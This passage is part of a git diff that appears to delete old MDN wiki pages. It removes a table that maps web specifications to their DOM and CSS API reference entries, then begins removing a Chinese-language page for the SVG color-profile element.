{{domxref("Document.forms")}} {{domxref("Document.scripts")}} {{domxref("Document.getElementsByName()")}} {{domxref("Document.getItems()")}} {{domxref("Document.cssElementMap")}} {{domxref("Document.currentScript")}} {{domxref("Document.open()")}} (2x) {{domxref("Document.close()")}} {{domxref("Document.write()")}} {{domxref("Document.writeln()")}} {{domxref("Document.defaultView")}} {{domxref("Document.activeElement")}} {{domxref("Document.hasFocus()")}} {{domxref("Document.designMode")}} {{domxref("Document.execCommand()")}} {{domxref("Document.queryCommandEnabled()")}} {{domxref("Document.queryCommandIndeterm()")}} {{domxref("Document.queryCommandState()")}} {{domxref("Document.queryCommandValue()")}} {{domxref("Document.commands")}} {{domxref("Document.onreadystatechange")}} (+Document obsolete members) {{event("readystatechange")}} (event) {{domxref("GlobalEventHandlers")}} {{domxref("MediaError")}} {{domxref("AudioTrackList")}} {{domxref("VideoTrackList")}} {{domxref("AudioTrack")}} {{domxref("VideoTrack")}} {{domxref("MediaController")}} {{event("playing")}} (event) {{event("waiting")}} (event) {{event("ended")}} (event) {{event("emptied")}} (event) {{event("loadedmetadata")}} (event) {{event("loadeddata")}} (event) {{event("canplay")}} (event) {{event("canplaythrough")}} (event) {{event("durationchange")}} (event) {{event("timeupdate")}} (event) {{event("play")}} (event) {{event("pause")}} (event) {{event("ratechange")}} (event) {{event("valuechange")}} (event) {{domxref("TextTrackList")}} {{event("addtrack")}} (event) {{event("removetrack")}} (event) {{domxref("TextTrack")}} {{event("cuechange")}} (event) {{domxref("TextTrackCueList")}} {{domxref("TextTrackCue")}} {{event("enter")}} (event) {{event("exit")}} (event) {{domxref("TimeRanges")}} {{domxref("TrackEvent")}} {{domxref("CanvasProxy")}} {{domxref("CanvasRenderingContext2D")}} {{domxref("CanvasGradient")}} {{domxref("CanvasPattern")}} {{domxref("TextMetrics")}} {{domxref("DrawingStyle")}} {{domxref("CanvasDrawingStyles")}} {{domxref("Path")}} {{domxref("CanvasPathMethods")}} {{domxref("Screen.canvasResolution")}} {{domxref("RelatedEvent")}} {{cssxref("anchor-point")}} {{domxref("Window.window")}} {{domxref("Window.self")}} {{domxref("Window.document")}} {{domxref("Window.name")}} {{domxref("Window.location")}} {{domxref("Window.history")}} {{domxref("Window.locationbar")}} {{domxref("Window.menubar")}} {{domxref("Window.personalbar")}} {{domxref("Window.scrollbars")}} {{domxref("Window.statusbar")}} {{domxref("Window.toolbar")}} {{domxref("Window.status")}} {{domxref("Window.close()")}} {{domxref("Window.stop()")}} {{domxref("Window.focus()")}} {{domxref("Window.blur()")}} {{domxref("Window.frames")}} {{domxref("Window.length")}} {{domxref("Window.top")}} {{domxref("Window.opener")}} {{domxref("Window.parent")}} {{domxref("Window.frameElement")}} {{domxref("Window.open()")}} getter WindowProxy getter Object {{domxref("Window.navigator")}} {{domxref("Window.external")}} {{domxref("Window.applicationCache")}} {{domxref("Window.statusbar")}} {{domxref("Window.alert()")}} {{domxref("Window.confirm()")}} {{domxref("Window.prompt()")}} {{domxref("Window.print()")}} {{domxref("Window.showModalDialog()")}} {{domxref("Window.postMessage()")}} {{domxref("BarProp")}} {{domxref("Location")}} {{domxref("History")}} {{domxref("PopStateEvent")}} {{event("popstate")}} (event) {{domxref("PageTransitionEvent")}} {{event("pageshow")}} (event) {{event("pagehide")}} (event) {{domxref("HashChangeEvent")}} {{event("hashchange")}} (event) {{domxref("BeforeUnloadEvent")}} {{event("checking")}} (event, manifest) {{event("noupdate")}} (event, manifest) {{event("downloading")}} (event, manifest) {{event("progress")}} (event, manifest) {{event("cached")}} (event, manifest) {{event("updateready")}} (event, manifest) {{event("obsolete")}} (event, manifest) {{event("error")}} (event, manifest) {{domxref("WindowProxy")}} (special) {{domxref("ApplicationCache")}} {{domxref("NavigatorOnLine")}} {{domxref("WindowTimers")}} {{domxref("WindowBase64")}} {{domxref("WindowModal")}} {{domxref("Navigator")}} {{domxref("NavigatorID")}} {{domxref("NavigatorLanguage")}} {{domxref("NavigatorContentUtils")}} {{domxref("NavigatoreStorageUtils")}} {{domxref("External")}} {{domxref("ImageBitmapFactories")}} {{domxref("DataTransfer")}} {{domxref("DataTransferItemList")}} {{domxref("DataTransferItem")}} {{domxref("DragEvent")}} {{domxref("ErrorEvent")}} {{domxref("MessageEvent")}} (documented under <a href="/en-US/docs/WebSockets/WebSockets_reference/MessageEvent" title="/en-US/docs/WebSockets/WebSockets_reference/MessageEvent">WebSockets/WebSockets_reference</a> ) {{domxref("MessageChannel")}} {{domxref("MessagePort")}} {{event("message")}} (event)<br> - <em>Events on any <code>HTML*Element</code>, <code>Document</code> and <code>Window</code> objects:</em><br> - {{event("abort")}} {{event("cancel")}} {{event("canplay")}} {{event("canplaythrough")}} {{event("change")}} {{event("click")}} {{event("close")}} {{event("contextmenu")}} {{event("cuechange")}} {{event("dblclick")}} {{event("drag")}} {{event("dragend")}} {{event("dragenter")}} {{event("dragexit")}} {{event("dragleave")}} {{event("dragover")}} {{event("dragstart")}} {{event("drop")}} {{event("durationchange")}} {{event("emptied")}} {{event("ended")}} {{event("input")}} {{event("invalid")}} {{event("keydown")}} {{event("keypress")}} {{event("keyup")}} {{event("loadeddata")}} {{event("loadedmetadata")}} {{event("loadstart")}} {{event("mousedown")}} {{event("mouseenter")}} {{event("mouseleave")}} {{event("mousemove")}} {{event("mouseout")}} {{event("mouseover")}} {{event("mouseup")}} {{event("mousewheel")}} {{event("pause")}} {{event("play")}} {{event("playing")}} {{event("progress")}} {{event("ratechange")}} {{event("reset")}} {{event("seeked")}} {{event("seeking")}} {{event("select")}} {{event("show")}} {{event("sort")}} {{event("stalled")}} {{event("submit")}} {{event("submit")}} {{event("suspend")}} {{event("timeupdate")}} {{event("volumechange")}} {{event("waiting")}}<br> - Events on any <code>HTML*Element</code> (except <code>HTMLBodyElement and HTMLFrameSetElement</code>), <code>Document</code> and <code>Window</code> objects:<br> - {{event("blur")}} {{event("error")}} {{event("focus")}} {{event("load")}} {{event("scroll")}}<br> - <em>Events on the <code>Window</code> objects:</em><br> - {{event("afterprint")}} {{event("beforeprint")}} {{event("beforeunload")}} {{event("fullscreenchange")}} {{event("fullscreenerror")}} {{event("hashchange")}} {{event("message")}} {{event("offline")}} {{event("online")}} {{event("pagehide")}} {{event("pageshow")}} {{event("popstate")}} {{event("resize")}} {{event("storage")}} {{event("unload")}}<br> - <em>Events on the </em><code>Document</code><em> objects: </em>{{event("readystatechange")}}</p> - </td> - </tr> - <tr> - <td> CSS</td> - <td><em>Variable</em></td> - <td><a href="/en-US/docs/CSS/Getting_Started" title="/en-US/docs/CSS/Getting_Started">Getting Started</a></td> - <td>CSS Tutorials</td> - <td>The <a href="/en-US/docs/CSS/CSS3" title="/en-US/docs/CSS/CSS3">CSS3</a> page list them & the <a href="/en-US/docs/CSS/CSS_Reference" title="/en-US/docs/CSS/CSS_Reference">CSS Reference</a> has the list of properties, functions, pseudo-classes and pseudo-elements. Some specifications also add APIs.<br> - <em>{{SpecName("CSS3 Fonts")}}</em>: {{domxref("CSSFontFaceRule")}} {{domxref("CSSFontFeatureValuesRule")}} {{domxref("Document.fontLoader")}} {{domxref("CSSFontFaceLoadEvent")}} {{domxref("FontLoader")}} {{event("loading")}} (event) {{event("loadingdone")}} (event) {{event("loadstart")}} (event) {{event("load")}} (evnet) {{event("error")}} (event)<br> - <em>{{SpecName("CSS3 Transitions")}}</em>: {{domxref("TransitionEvent")}} {{event("transitionend")}} (event)<br> - <em>{{SpecName("CSS3 Animations")}}</em>: {{domxref("AnimationEvent")}} {{event("animationstart")}} (event) {{event("animationend")}} (event) {{event("animationiteration")}} (event) {{domxref("CSSKeyframeRule")}} {{domxref("CSSKeyframesRule")}}<br> - <em>{{SpecName("CSS3 Conditional")}}</em>: {{domxref("CSSGroupingRule")}} {{domxref("CSSConditionRule")}} {{domxref("CSSMediaRule")}} (new inheritance) {{domxref("CSSSupportsRule")}} {{domxref("CSS")}}<br> - <em>{{SpecName("CSS3 Device")}}</em>: {{domxref("CSSViewportRule")}}<br> - <em>{{SpecName("CSS3 Variables")}}</em>: {{domxref("CSSStyleDeclaration.CSSVariablesDeclaration")}} {{domxref("CSSVariablesDeclaration")}}</td> - </tr> - <tr> - <td>EcmaScript</td> - <td><em>Variable</em></td> - <td> </td> - <td> </td> - <td> </td> - </tr> - <tr> - <td>SVG</td> - <td> </td> - <td> </td> - <td> </td> - <td> </td> - </tr> - <tr> - <td>WebGL</td> - <td> </td> - <td> </td> - <td> </td> - <td> </td> - </tr> - <tr> - <td>MathML</td> - <td> </td> - <td> </td> - <td> </td> - <td> </td> - </tr> - <tr> - <td>{{SpecName("DOM WHATWG") }}</td> - <td>{{ Spec2("DOM WHATWG") }}</td> - <td><a href="/en-US/docs/Gecko_DOM_Reference" title="/en-US/docs/Gecko_DOM_Reference">DOM Reference </a></td> - <td> </td> - <td>{{ domxref("Attr") }} {{ domxref("CharacterData") }} {{ domxref("ChildNode") }} {{ domxref("Comment") }} {{ domxref("CustomEvent") }} {{ domxref("Document")}} {{ domxref("DocumentFragment") }} {{ domxref("DocumentType") }} {{ domxref("DOMError") }} {{ domxref("DOMImplementation") }} {{ domxref("DOMSettableTokenList") }} {{ domxref("DOMTokenList") }} {{ domxref("Element")}} {{ domxref("Event")}} {{ domxref("EventTarget")}} {{ domxref("Future")}} {{ domxref("HTMLCollection") }} {{ domxref("MutationObserver")}} {{ domxref("MutationRecord")}} {{ domxref("Node") }} {{ domxref("NodeFilter") }} {{ domxref("NodeIterator") }} {{ domxref("NodeList") }} {{ domxref("ParentNode")}} {{ domxref("ProcessingInstruction") }} {{ domxref("Text") }} {{ domxref("TimeRanges") }} {{ domxref("Treewalker") }} {{ domxref("XMLDocument")}}</td> - </tr> - <tr> - <td>{{SpecName("CSSOM")}}</td> - <td>{{ Spec2("CSSOM")}}</td> - <td><a href="/en-US/docs/Web/CSSOM" title="/en-US/docs/Web/CSSOM">CSSOM</a></td> - <td> </td> - <td>{{domxref("MediaList")}} {{domxref("Stylesheet")}} {{domxref("CSSStylesheet")}} {{domxref("StylesheetList")}} {{domxref("Document.styleSheets")}} {{domxref("Document.selectedStyleSheetSet")}} {{domxref("Document.lastStyleSheetSet")}} {{domxref("Document.preferredStyleSheetSet")}} {{domxref("Document.styleSheetSets")}} {{domxref("Document.enableStyleSheetsForSet()")}} {{domxref("LinkStyle")}} {{domxref("CSSRuleList")}} {{domxref("CSSRule")}} {{domxref("CSSCharsetRule")}} {{domxref("CSSImportRule")}} {{domxref("CSSMediaRule")}} {{domxref("CSSFontFaceRule")}} {{domxref("CSSPageRule")}} {{domxref("CSSNamespaceRule")}} {{domxref("CSSStyleDeclaration")}} {{domxref("ElementCSSInlineStyle")}} {{domxref("Window.getComputedStyle()")}} {{domxref("Window.getDefaultComputedStyle()")}}</td> - </tr> - <tr> - <td>{{SpecName("CSSOM View")}}</td> - <td>{{ Spec2("CSSOM View")}}</td> - <td> </td> - <td> </td> - <td>{{domxref("Window.matchMedia()")}} {{domxref("Window.screen")}} {{domxref("Window.innerHeight")}} {{domxref("Window.innerWidth")}} {{domxref("Window.scrollX")}} {{domxref("Window.scrollY")}} {{domxref("Window.pageXOffset")}} {{domxref("Window.pageYOffset")}} {{domxref("Window.scroll()")}} {{domxref("Window.scrollTo()")}} {{domxref("Window.scrollBy()")}} {{domxref("Window.screenX")}} {{domxref("Window.screenY")}} {{domxref("Window.outerWidth")}} {{domxref("Window.outerHeight")}} {{domxref("MediaQueryList")}} {{domxref("Screen")}} {{domxref("Document.elementFromPoint()")}} {{domxref("Document.caretPositionFromPoint()")}} {{domxref("CaretPosition")}} {{domxref("MediaList")}} {{domxref("MediaQueryListListener")}} {{domxref("HTMLElement.offsetParent")}} {{domxref("HTMLElement.offsetTop")}} {{domxref("HTMLElement.offsetLeft")}} {{domxref("HTMLElement.offsetWidth")}} {{domxref("HTMLElement.offsetRight")}} {{domxref("Element.getClientRects()")}} {{domxref("Element.getBoundingClientRect()")}} {{domxref("Element.scrollIntoView()")}} {{domxref("Element.scrollTop")}} {{domxref("Element.scrollLeft")}} {{domxref("Element.scrollWidth")}} {{domxref("Element.scrollHeight")}} {{domxref("Element.clientTop")}} {{domxref("Element.clientLeft")}} {{domxref("Element.clientWidth")}} {{domxref("Element.clientHeight")}} {{domxref("Range.getClientRects()")}} {{domxref("Range.getBoundingClientRect()")}} {{domxref("MouseEvent.screenX")}} {{domxref("MouseEvent.screenY")}} {{domxref("MouseEvent.pageX")}} {{domxref("MouseEvent.pageY")}} {{domxref("MouseEvent.clientX")}} {{domxref("MouseEvent.clientY")}} {{domxref("MouseEvent.x")}} {{domxref("MouseEvent.y")}} {{domxref("MouseEvent.offsetX")}} {{domxref("MouseEvent.offsetY")}} {{domxref("ClientRectList")}} {{domxref("ClientRect")}}</td> - </tr> - <tr> - <td>{{SpecName("Web Workers")}} (also in WHATWG HTML)</td> - <td>{{ Spec2("Web Workers")}}</td> - <td> </td> - <td> </td> - <td>{{domxref("WorkerGlobalScope")}} {{domxref("DedicatedWorkerGlobalScope")}} {{domxref("SharedWorkerGlobalScope")}} {{domxref("AbstractWorker")}} {{domxref("Worker")}} {{domxref("SharedWorker")}} {{domxref("WorkerNavigator")}} {{domxref("WorkerUtils")}} {{domxref("WorkerLocation")}}</td> - </tr> - <tr> - <td>{{SpecName("Element Traversal")}}</td> - <td>{{Spec2("Element Traversal")}}</td> - <td> </td> - <td> </td> - <td>{{domxref("ElementTraversal")}}</td> - </tr> - <tr> - <td>{{SpecName("File API")}}</td> - <td>{{Spec2("File API")}}</td> - <td> </td> - <td> </td> - <td>{{domxref("File")}} {{domxref("Blob")}} {{domxref("FileList")}} {{domxref("FileReader")}} {{domxref("FileReaderSync")}}</td> - </tr> - <tr> - <td>{{SpecName("Fullscreen")}}</td> - <td>{{Spec2("Fullscreen")}}</td> - <td> </td> - <td><a href="/en-US/docs/DOM/Using_fullscreen_mode" title="/en-US/docs/DOM/Using_fullscreen_mode">Using fullscreen mode</a></td> - <td>{{cssxref(":fullscreen")}} {{cssxref("::backdrop")}} {{domxref("Element.requestFullscreen()")}} {{domxref("Document.fullscreenEnabled")}} {{domxref("Document.fullscreenElement")}} {{domxref("Document.exitFullscreen()")}} {{domxref("Document.onfullscreenchange()")}} {{domxref("Document.onfullscreenerror()")}} {{event("fullscreenchange")}} (event) {{event("fullscreenerror")}} (event)</td> - </tr> - <tr> - <td>{{SpecName("IndexedDB")}}</td> - <td>{{Spec2("IndexedDB")}}</td> - <td><a href="/en-US/docs/IndexedDB" title="/en-US/docs/IndexedDB">IndexedDB</a></td> - <td><a href="/en-US/docs/IndexedDB/Using_IndexedDB" title="/en-US/docs/IndexedDB/Using_IndexedDB">Using IndexedDB</a> <a href="/en-US/docs/IndexedDB/Using_IndexedDB_in_chrome" title="/en-US/docs/IndexedDB/Using_IndexedDB_in_chrome">Using IndexedDB in chrome</a></td> - <td>{{domxref("IDBDatabase")}} {{domxref("IDBObjectStore")}} {{domxref("IDBIndex")}} {{domxref("IDBRequest")}} {{domxref("IDBTransaction")}} {{domxref("IDBFactory")}} {{domxref("IDBKeyRange")}} {{domxref("IDBCursor")}} {{domxref("IDBObjectStoreParameters")}} {{domxref("IDBIndexParameters")}} {{domxref("IDBOpenDBRequest")}} {{domxref("IDBVersionChangeEvent")}} {{domxref("IDBEnvironment")}} {{domxref("Window")}} (new inheritance) {{domxref("WorkerUtils")}} (new inheritance) {{domxref("IDBCursorWithValue")}} {{domxref("IDBTransactionMode")}} {{domxref("IDBCursorWithValueSync")}}</td> - </tr> - <tr> - <td>{{SpecName("Web Audio API")}}</td> - <td>{{Spec2("Web Audio API")}}</td> - <td> </td> - <td> </td> - <td>{{domxref("AnalyserNode")}} {{domxref("AudioBuffer")}} {{domxref("AudioBufferSourceNode")}} {{domxref("AudioContext")}} <code>AudioDestinationNode</code> {{domxref("AudioListener")}} {{domxref("AudioNode")}} {{domxref("AudioParam")}} {{event("audioprocess")}} (event) {{domxref("AudioProcessingEvent")}} {{domxref("BiquadFilterNode")}} <code>ChannelMergerNode</code> <code>ChannelSplitterNode</code> <code>complete</code> (event) <code>ConvolverNode</code> {{domxref("DelayNode")}}{{domxref("DynamicsCompressorNode")}} <code>ended</code> (event) {{domxref("GainNode")}} <code>MediaElementAudioSourceNode</code> <code>MediaStreamAudioDestinationNode</code> <code>MediaStreamAudioSourceNode</code> <code>OfflineAudioCompletionEvent</code> <code>OfflineAudioContext</code> <code>OscillatorNode</code> {{domxref("PannerNode")}} {{domxref("ScriptProcessorNode")}} <code>WaveShaperNode</code> <code>WaveTable</code></td> - </tr> - <tr> - <td>{{SpecName("WebRTC 1.0")}}</td> - <td>{{Spec2("WebRTC 1.0")}}</td> - <td> </td> - <td> </td> - <td>{{domxref("RTCConfiguration")}} {{domxref("RTCIceServer")}} {{domxref("RTCPeerConnection")}} {{domxref("RTCError")}} {{domxref("RTCSdpError")}} {{domxref("RTCSessionDescription")}} {{domxref("RTCIceCandidate")}} {{domxref("RTCPeerConnectionIceEvent")}} {{domxref("RTCDataChannel")}} {{domxref("RTCDataChannelEvent")}} {{domxref("RTCDTMFSender")}} {{domxref("RTCToneChangeEvent")}} {{domxref("MediaStreamEvent")}}</td> - </tr> - <tr> - <td>{{SpecName("Media Capture")}}</td> - <td>{{Spec2("Media Capture")}}</td> - <td> </td> - <td> </td> - <td> </td> - </tr> - <tr> - <td>{{SpecName("MediaStream Recording")}}</td> - <td>{{Spec2("MediaStream Recording")}}</td> - <td> </td> - <td> </td> - <td>{{domxref("MediaRecorder")}} {{event("start")}} (event) {{event("stop")}} (event) {{event("dataavailable")}} (event) {{event("pause")}} (event) {{event("resume")}} (event) {{event("error")}} (event) {{event("warning")}} (event) {{domxref("BlobEvent")}} {{domxref("RecordingError")}}</td> - </tr> - <tr> - <td>{{SpecName("Pointer Lock")}}</td> - <td>{{Spec2("Pointer Lock")}}</td> - <td> </td> - <td><a href="/en-US/docs/WebAPI/Pointer_Lock" title="/en-US/docs/WebAPI/Pointer_Lock">Pointer Lock API</a></td> - <td>{{event("pointerlockchange")}} (event) {{event("pointerlockerror")}} (event) {{domxref("Element.requestPointerLock")}} {{domxref("Document.onpointerlockchange")}} {{domxref("Document.onpointerlockerror")}} {{domxref("Document.pointerLockElement")}} {{domxref("Document.exitPointerLock()")}} {{domxref("MouseEvent.movementX")}} {{domxref("MouseEvent.movementY")}}</td> - </tr> - <tr> - <td>{{SpecName("Vibration API")}}</td> - <td>{{Spec2("Vibration API")}}</td> - <td> </td> - <td><a href="/en-US/docs/WebAPI/Vibration" title="/en-US/docs/WebAPI/Vibration">Vibration API</a></td> - <td>{{domxref("Vibration")}} {{domxref("window.navigator.vibrate()")}}</td> - </tr> - <tr> - <td>{{SpecName("Battery API")}}</td> - <td>{{Spec2("Battery API")}}</td> - <td><a href="/en-US/docs/WebAPI/Battery_Status" title="/en-US/docs/WebAPI/Battery_Status">Battery Status API</a></td> - <td> </td> - <td>{{domxref("window.navigator.battery")}} {{domxref("BatteryManager")}} {{event("chargingchange")}} (event) {{event("chargingtimechange")}} (event) {{event("dischargingtimechange")}} (event) {{event("levelchange")}} (event)</td> - </tr> - <tr> - <td>{{SpecName("Geolocation")}}</td> - <td>{{Spec2("Geolocation")}}</td> - <td> </td> - <td><a href="/en-US/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></td> - <td>{{domxref("NavigatorGeolocation")}} {{domxref("Geolocation")}} {{domxref("window.navigator.geolocation")}} {{domxref("Positions")}} {{domxref("PositionOptions")}} {{domxref("Coordinates")}} {{domxref("PositionError")}} Note that several of these interfaces are documented under {{domxref("window.navigator.geolocation.getCurrentPosition()")}}</td> - </tr> - <tr> - <td>{{SpecName("Device Orientation")}}</td> - <td>{{Spec2("Device Orientation")}}</td> - <td> </td> - <td> </td> - <td>{{event("deviceorientation")}} (event){{domxref("DeviceOrientationEvent")}} {{event("compassneedscalibration")}} (event) {{event("devicemotion")}} (event) {{domxref("DeviceMotionEvent")}} {{domxref("DeviceAcceleration")}} {{domxref("DeviceRotationRate")}}</td> - </tr> - <tr> - <td>{{SpecName("Screen Orientation")}}</td> - <td>{{Spec2("Screen Orientation")}}</td> - <td> </td> - <td> </td> - <td>{{domxref("Screen.orientation")}} {{domxref("Screen.lockOrientation()")}}{{domxref("Screen.unlockOrientation()")}} {{domxref("Screen.onorientationchange")}} {{event("orientationchange")}} (event)</td> - </tr> - <tr> - <td>{{SpecName("Web Notifications")}}</td> - <td>{{Spec2("Web Notifications")}}</td> - <td> </td> - <td> </td> - <td>{{domxref("Notification")}} {{event("click")}} (event) {{event("show")}} (event) {{event("error")}} (event) {{event("close")}} (event)</td> - </tr> - <tr> - <td>{{SpecName("AmbientLight")}}</td> - <td>{{Spec2("AmbientLight")}}</td> - <td> </td> - <td> </td> - <td>{{domxref("window.ondevicelight")}} {{domxref("DeviceLightEvent")}} {{event("devicelight")}} (event)</td> - </tr> - <tr> - <td>{{SpecName("Proximity Events")}}</td> - <td>{{Spec2("Proximity Events")}}</td> - <td> </td> - <td> </td> - <td>{{domxref("window.ondeviceproximity")}} {{domxref("DeviceProximityEvent")}} {{event("deviceproximity")}} (event) {{domxref("window.onuserproximity")}} {{domxref("UserProximityEvent")}} {{event("userproximity")}} (event)</td> - </tr> - <tr> - <td>{{SpecName("WebIDL")}}</td> - <td>{{Spec2("WebIDL")}}</td> - <td> </td> - <td> </td> - <td> </td> - </tr> - <tr> - <td>{{SpecName("XMLHttpRequest")}}</td> - <td>{{Spec2("XMLHttpRequest")}}</td> - <td> </td> - <td> </td> - <td>{{domxref("XMLHttpRequest")}} {{domxref("XMLHttpRequestEventTarget")}} {{domxref("XMLHttpRequestUpload")}} {{event("loadstart")}} (event) {{event("error")}} (event) {{event("timeout")}} (event) {{event("progress")}} (event) {{event("abort")}} (event) {{event("load")}} (event) {{event("loadend")}} (event) {{event("readystatechange")}} (event) {{domxref("FormData")}}</td> - </tr> - <tr> - <td>{{SpecName("Highres Time")}}</td> - <td>{{Spec2("Highres Time")}}</td> - <td> </td> - <td> </td> - <td>{{domxref("DOMHighResTimestamp")}} {{domxref("Performance.now()")}}</td> - </tr> - <tr> - <td>{{SpecName("Websockets")}} (also in WHATWG HTML)</td> - <td>{{Spec2("Websockets")}}</td> - <td><a href="/en-US/docs/WebSockets" title="/en-US/docs/WebSockets">WebSockets</a> <a href="/en-US/docs/WebSockets/WebSockets_reference" title="/en-US/docs/WebSockets/WebSockets_reference">WebSockets reference</a></td> - <td><a href="/en-US/docs/WebSockets/Writing_WebSocket_client_applications" title="/en-US/docs/WebSockets/Writing_WebSocket_client_applications">Writing WebSocket client applications</a></td> - <td>{{domxref("WebSocket")}} (documented under <a href="/en-US/docs/WebSockets/WebSockets_reference/WebSocket" title="/en-US/docs/WebSockets/WebSockets_reference/WebSocket">WebSockets/WebSockets_reference/WebSocket</a> ) {{event("open")}} (event) {{event("message")}} (event) {{event("error")}} (event) {{event("close")}} (event) {{domxref("CloseEvent")}} (documented under <a href="/en-US/docs/WebSockets/WebSockets_reference/WebSocket" title="/en-US/docs/WebSockets/WebSockets_reference/WebSocket">WebSockets/WebSockets_reference/CloseEvent</a> )</td> - </tr> - <tr> - <td>{{SpecName("Page Visibility API")}}</td> - <td>{{Spec2("Page Visibility API")}}</td> - <td> </td> - <td> </td> - <td>{{domxref("Document.hidden")}} {{domxref("Document.visibilityState")}} {{event("visibilitychange")}} (event)</td> - </tr> - <tr> - <td>{{SpecName("RequestAnimationFrame")}}</td> - <td>{{Spec2("RequestAnimationFrame")}}</td> - <td> </td> - <td> </td> - <td>{{domxref("Window.requestAnimationFrame()")}} {{domxref("Window.cancelAnimationFrame()")}}</td> - </tr> - <tr> - <td>{{SpecName("Server-sent events")}} (also in WHATWG HTML)</td> - <td>{{Spec2("Server-sent events")}}</td> - <td> </td> - <td> </td> - <td>{{domxref("EventSource")}} {{event("open")}} (event) {{event("error")}} (event) {{event("message")}} (event)</td> - </tr> - <tr> - <td>{{SpecName("Network Information")}}</td> - <td>{{Spec2("Network Information")}}</td> - <td> </td> - <td> </td> - <td>{{domxref("NetworkInformation")}} {{domxref("Connection")}} {{event("change")}} (event)</td> - </tr> - <tr> - <td>{{SpecName("Web Storage")}} (also in WHATWG HTML)</td> - <td>{{Spec2("Web Storage")}}</td> - <td> </td> - <td> </td> - <td>{{domxref("Storage")}} {{domxref("WindowSessionStorage")}} {{domxref("WindowLocalStorage")}} {{event("storage")}} {{domxref("StorageEvent")}}</td> - </tr> - <tr> - <td>{{SpecName("Selectors API Level 1")}}</td> - <td>{{Spec2("Selectors API Level 1")}}</td> - <td> </td> - <td> </td> - <td>{{domxref("Document.querySelector()")}} {{domxref("Document.querySelectorAll()")}} {{domxref("DocumentFragment.querySelector()")}} {{domxref("DocumentFragment.querySelectorAll()")}} {{domxref("Element.querySelector()")}} {{domxref("Element.querySelectorAll()")}}</td> - </tr> - <tr> - <td>{{SpecName("Progress Events")}}</td> - <td>{{Spec2("Progress Events")}}</td> - <td> </td> - <td> </td> - <td>{{domxref("ProgressEvent")}}</td> - </tr> - <tr> - <td>{{SpecName("Typed Array")}}</td> - <td>{{Spec2("Typed Array")}}</td> - <td> </td> - <td><a href="/en-US/docs/JavaScript/Typed_arrays" title="/en-US/docs/JavaScript/Typed_arrays">JavaScript Typed arrays</a></td> - <td><code><a href="/en-US/docs/JavaScript/Typed_arrays/Int8Array" title="Int8Array">Int8Array</a></code> <a href="/en-US/docs/JavaScript/Typed_arrays/Int16Array" title="/en-US/docs/JavaScript/Typed_arrays/Int16Array"><code>Int16Array</code></a> <a href="/en-US/docs/JavaScript/Typed_arrays/Int32Array" title="/en-US/docs/JavaScript/Typed_arrays/Int32Array"><code>Int32Array</code></a> <code><a href="/en-US/docs/JavaScript/Typed_arrays/Uint8Array" title="Uint8Array">Uint8Array</a></code> <code><a href="/en-US/docs/JavaScript/Typed_arrays/Uint16Array" title="Uint8Array">Uint16Array</a></code> <code><a href="/en-US/docs/JavaScript/Typed_arrays/Uint32Array" title="Uint8Array">Uint32Array</a></code> <code><a href="/en-US/docs/JavaScript/Typed_arrays/Uint8ClampedArray" title="/en-US/docs/JavaScript/Typed_arrays/Uint8ClampedArray">Uint8ClampedArray</a></code> <a href="/en-US/docs/JavaScript/Typed_arrays/Float32Array" title="/en-US/docs/JavaScript/Typed_arrays/Float32Array"><code>Float32Array</code></a> <code><a href="/en-US/docs/JavaScript/Typed_arrays/Float64Array" title="Float64Array">Float64Array</a></code>, ...</td> - </tr> - <tr> - <td>{{SpecName("Gamepad")}}</td> - <td>{{Spec2("Gamepad")}}</td> - <td> </td> - <td> </td> - <td>{{domxref("Gamepad")}} {{domxref("window.navigator.getGamepads()")}} {{domxref("GamepadEvent")}} {{event("gamepadconnected")}} (event) {{event("gamepaddisconnected")}}</td> - </tr> - <tr> - <td>{{SpecName("Navigation Timing")}}</td> - <td>{{Spec2("Navigation Timing")}}</td> - <td> </td> - <td> </td> - <td>{{domxref("PerformanceTiming")}} {{domxref("PerformanceNavigation")}} {{domxref("Performance")}} {{domxref("window.performance")}}</td> - </tr> - <tr> - <td>{{SpecName("WOFF1.0")}}</td> - <td>{{Spec2("WOFF1.0")}}</td> - <td><a href="/en-US/docs/WOFF" title="/en-US/docs/WOFF">About the Web Open Font Format</a></td> - <td> </td> - <td> </td> - </tr> - <tr> - <td>{{SpecName("WebVTT")}}</td> - <td>{{Spec2("WebVTT")}}</td> - <td> </td> - <td> </td> - <td>{{cssxref("::cue")}} {{cssxref(":past")}} {{cssxref(":future")}} {{domxref("WebVTTCue")}}</td> - </tr> - <tr> - <td>WebSocket Protocol</td> - <td> </td> - <td> </td> - <td> </td> - <td> </td> - </tr> - <tr> - <td>CORS</td> - <td> </td> - <td> </td> - <td> </td> - <td> </td> - </tr> - <tr> - <td>HTTP</td> - <td> </td> - <td><a href="/en-US/docs/HTTP" title="/en-US/docs/HTTP">HTTP</a></td> - <td> </td> - <td> </td> - </tr> - <tr> - <td>TLS</td> - <td> </td> - <td> </td> - <td> </td> - <td> </td> - </tr> - <tr> - <td>MediaFragment</td> - <td> </td> - <td> </td> - <td> </td> - <td> </td> - </tr> - <tr> - <td>Link: header</td> - <td> </td> - <td> </td> - <td> </td> - <td> </td> - </tr> - <tr> - <td>Content-Disposition: header</td> - <td> </td> - <td> </td> - <td> </td> - <td> </td> - </tr> - <tr> - <td>URL</td> - <td><a href="http://url.spec.whatwg.org/" title="http://url.spec.whatwg.org/">Living Standard</a></td> - <td> </td> - <td> </td> - <td>{{domxref("URLUtils")}} {{domxref("URLUtilsReadOnly")}}</td> - </tr> - </tbody> -</table> -<p> </p> diff --git a/files/zh-cn/orphaned/web/svg/element/color-profile/index.html b/files/zh-cn/orphaned/web/svg/element/color-profile/index.html deleted file mode 100644 index 740c997eef..0000000000 --- a/files/zh-cn/orphaned/web/svg/element/color-profile/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: color-profile -slug: orphaned/Web/SVG/Element/color-profile -tags: - - SVG - - 元素 - - 参考 - - 需要示例 -translation_of: Web/SVG/Element/color-profile -original_slug: Web/SVG/Element/color-profile ---- -<div>{{SVGRef}}</div> - -<p>该元素允许描述用于图像的颜色配置文件。</p> - -<h2 id="用法">用法</h2> - -<p>{{svginfo}}</p> - -<h2 id="示例">示例</h2> - -<h2 id="属性">属性</h2> - -<h3 id="全局属性">全局属性</h3> - -<ul> - <li><a href="/en-US/docs/Web/SVG/Attribute#Core">核心属性</a> »</li> - <li><a href="/en-US/docs/Web/SVG/Attribute#XLink">Xlink属性</a> »</li> -</ul> - -<h3 id="专有属性">专有属性</h3> - -<ul> - 